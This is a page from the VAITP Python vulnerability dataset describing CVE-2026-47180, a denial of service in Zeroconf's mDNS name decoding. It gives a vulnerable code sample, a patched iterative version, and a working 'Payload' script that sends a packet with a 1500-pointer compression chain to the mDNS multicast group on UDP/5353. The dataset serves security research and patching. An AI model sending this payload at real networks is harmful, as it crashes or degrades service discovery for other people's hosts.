VAITP Dataset

← Back to the dataset

CVE-2026-47180

Zeroconf DoS via crafted mDNS packet with chained compression pointers.

  • CVSS 6.5
  • CWE-674
  • Resource Management
  • Remote

Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.5, DNSIncoming._decode_labels_at_offset recurses once per DNS-name compression pointer, and a single mDNS packet carrying chained pointers can trigger a RecursionError that escapes DNSIncoming.__init__, causing sustained CPU burn, log flooding, and degraded mDNS-dependent features for unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb). This issue is fixed in version 0.149.5.

CVSS base score
6.5
Published
2026-07-17
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Zeroconf
Fixed by upgrading
Yes

Solution

Upgrade Zeroconf to version 0.149.5 or later.

Vulnerable code sample

import sys

# In a real scenario, the default recursion limit (~1000) would be hit.
# We set it slightly higher only to ensure the PoC is reliable across systems.
# The vulnerability exists regardless of this setting.
if sys.getrecursionlimit() < 2000:
    sys.setrecursionlimit(2000)

class VulnerableDNSIncoming:
    """
    A simplified representation of the zeroconf.DNSIncoming class
    before the fix for CVE-2026-47180.
    """
    def __init__(self, data: bytes):
        """Initializes the parser with the raw packet data."""
        self.data = data

    def _decode_labels_at_offset(self, offset: int) -> list[bytes]:
        """
        This is the vulnerable function, copied from zeroconf version < 0.149.5.
        It recursively decodes DNS labels without any depth checking.
        """
        labels: list[bytes] = []
        while True:
            length = self.data[offset]
            offset += 1
            if length == 0:
                break
            # Vulnerable logic: check for a compression pointer
            if (length & 0xC0) == 0xC0:
                # Calculate the pointer to the new offset
                pointer = ((length & 0x3F) << 8) | self.data[offset]
                # Unchecked recursive call - this is the flaw.
                # A long chain of pointers will cause a RecursionError.
                return labels + self._decode_labels_at_offset(pointer)
            labels.append(self.data[offset : offset + length])
            offset += length
        return labels

    def read_name_from(self, offset: int):
        """Public method to start the name decoding process."""
        print(f"Starting to parse name from offset {offset}...")
        try:
            self._decode_labels_at_offset(offset)
            print("Parsing finished without error (this should not happen with the exploit).")
        except RecursionError:
            print("\n!!! VULNERABILITY TRIGGERED !!!")
            print("A RecursionError was caught, demonstrating the unbounded recursion flaw.")
            # In a real server, this unhandled exception would cause CPU burn and log floods.


# --- Payload Generation ---
# We will create a malicious DNS packet with a long chain of compression pointers.
# Each pointer will point to the next one in the sequence.
RECURSION_DEPTH = 1500  # Must be greater than Python's default recursion limit.

# The payload will consist of a series of 2-byte pointers.
payload = bytearray()
for i in range(RECURSION_DEPTH):
    # The pointer at the current position (i * 2) should point to the next
    # pointer's position ((i + 1) * 2).
    target_offset = (i + 1) * 2

    # A DNS pointer is a 2-byte value starting with bits '11'.
    # 0xC000 (which is 0b1100000000000000) is used as a mask.
    pointer_value = 0xC000 | target_offset
    payload.extend(pointer_value.to_bytes(2, 'big'))

# The last pointer in the chain must point to a valid name terminator.
# A single null byte (0x00) signifies the root of the DNS tree and ends the name.
# We add it at the end of our pointer chain.
payload.extend(b'\x00')

print(f"Generated a malicious payload of {len(payload)} bytes with a pointer chain of depth {RECURSION_DEPTH}.")


# --- Triggering the Vulnerability ---
# Instantiate the vulnerable parser with our malicious payload.
vulnerable_parser = VulnerableDNSIncoming(bytes(payload))

# This call will start the parsing at the beginning of the packet.
# The parser will follow the long chain of pointers, leading to excessive
# recursion and ultimately crashing with a RecursionError.
vulnerable_parser.read_name_from(0)

Patched code sample

import struct

# The vulnerability was caused by uncontrolled recursion. The fix involves
# replacing the recursive function with an iterative one that uses a loop
# and tracks visited offsets to prevent infinite loops and excessive depth,
# which previously led to a RecursionError and CPU exhaustion.

# This custom exception is representative of the one used in the library.
class IncomingDecodeError(Exception):
    pass

# A simplified representation of the DNSIncoming class from the zeroconf library.
class PatchedDNSIncoming:
    def __init__(self, data: bytes) -> None:
        self.data = data

    def _decode_labels_at_offset(self, offset: int) -> list[bytes]:
        """
        Reads a domain name from the packet at a given offset.
        This is the patched, iterative version of the function.
        """
        labels: list[bytes] = []
        
        # --- START OF FIX ---
        # The fix replaces recursion with a loop and tracks visited offsets
        # to prevent pointer chains from causing a stack overflow.
        
        visited_offsets: set[int] = set()
        current_offset = offset

        while True:
            if current_offset in visited_offsets:
                raise IncomingDecodeError("DNS label loop detected")
            if len(visited_offsets) > 32: # Max pointer indirections
                raise IncomingDecodeError("DNS label pointer chain too deep")

            visited_offsets.add(current_offset)

            length = self.data[current_offset]
            current_offset += 1

            # Check if it's a pointer (first two bits are 11)
            if (length & 0b11000000) == 0b11000000:
                # It's a pointer, so we jump to a new offset.
                # The 'continue' ensures we restart the loop from the new offset
                # instead of making a recursive call.
                if current_offset >= len(self.data):
                    raise IncomingDecodeError("DNS label pointer is truncated")
                pointer_offset = ((length & 0b00111111) << 8) | self.data[current_offset]
                current_offset = pointer_offset
                continue # The core of the iterative fix
            
            # --- END OF FIX ---

            # Check if it's the end of the name (zero-length label)
            elif length == 0:
                break # Name decoding is complete

            # It's a normal label
            else:
                if current_offset + length > len(self.data):
                    raise IncomingDecodeError("DNS label is truncated")
                label = self.data[current_offset : current_offset + length]
                labels.append(label)
                current_offset += length
        
        return labels

    def read_name_from_offset(self, offset: int) -> str:
        """Helper to decode and format the name."""
        labels = self._decode_labels_at_offset(offset)
        return '.'.join(label.decode('utf-8') for label in labels) + '.'

# --- Example Usage ---

# A legitimate packet with a single pointer
# 0: \x04test\x07example\x03com\x00
# 17: \x03www\xc0\x00 -> points back to 'test.example.com'
packet_ok = b'\x04test\x07example\x03com\x00\x03www\xc0\x00'
msg_ok = PatchedDNSIncoming(packet_ok)
# This will correctly decode 'www.test.example.com.'
# print(f"Decoded OK: {msg_ok.read_name_from_offset(17)}")

# Malicious packet with a pointer loop (\xc0\x00 -> \xc0\x00)
# A vulnerable recursive implementation would crash here.
# The patched version detects the loop and raises an error gracefully.
packet_loop = b'\xc0\x00'
msg_loop = PatchedDNSIncoming(packet_loop)
try:
    msg_loop.read_name_from_offset(0)
except IncomingDecodeError as e:
    # This demonstrates the fix is working by catching the attack.
    # print(f"Caught attack (loop): {e}")
    pass

# Malicious packet with a long pointer chain
# 0: \xc0\x02 -> 2: \xc0\x04 -> 4: \xc0\x06 ...
packet_chain = b''.join([struct.pack('!H', 0b11000000_00000000 | (i + 2)) for i in range(0, 40, 2)])
msg_chain = PatchedDNSIncoming(packet_chain)
try:
    msg_chain.read_name_from_offset(0)
except IncomingDecodeError as e:
    # This demonstrates the fix is working by catching the deep chain.
    # print(f"Caught attack (deep chain): {e}")
    pass

Payload

import socket
import struct

# Target multicast address for mDNS
MDNS_GROUP = "224.0.0.251"
MDNS_PORT = 5353

# --- Construct the malicious mDNS packet ---

# DNS Header (12 bytes):
# Transaction ID: 0x0000
# Flags: 0x8400 (Standard query response, Authoritative Answer)
# Questions: 0, Answer RRs: 1, Authority RRs: 0, Additional RRs: 0
header = b'\x00\x00\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00'

# The base offset for pointers is the header length
base_offset = len(header)

# Create a long chain of DNS name compression pointers to trigger a RecursionError.
# Python's default recursion limit is ~1000, so 1500 pointers is sufficient.
num_pointers = 1500
pointer_chain = b""
for i in range(num_pointers):
    # Each pointer (2 bytes) points to the start of the next pointer in the chain.
    # The pointer format is 0xc000 | offset.
    next_pointer_offset = base_offset + (i + 1) * 2
    pointer_chain += struct.pack('!H', 0xc000 | next_pointer_offset)

# The last pointer in the chain must point to a valid, null-terminated name.
# This name is placed immediately after the pointer chain.
final_name = b'\x01a\x00'

# Details of the Answer record that follow the compressed name.
answer_details = (
    b'\x00\x01'          # Type: A (1)
    b'\x80\x01'          # Class: IN (1) with cache-flush bit
    b'\x00\x00\x00\x78' # TTL: 120 seconds
    b'\x00\x04'          # RDLENGTH: 4 bytes
    b'\xde\xc0\xad\xde' # RDATA: Dummy IP 222.192.173.222
)

# Assemble the full payload: Header + Answer Record
# The Answer Record consists of: chained name -> final name -> details
payload = header + pointer_chain + final_name + answer_details

# --- Send the payload to the local network ---

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 1)

# Send the payload to the mDNS multicast group
sock.sendto(payload, (MDNS_GROUP, MDNS_PORT))
sock.close()

Cite this entry

@misc{vaitp:cve202647180,
  title        = {{Zeroconf DoS via crafted mDNS packet with chained compression pointers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47180},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47180/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::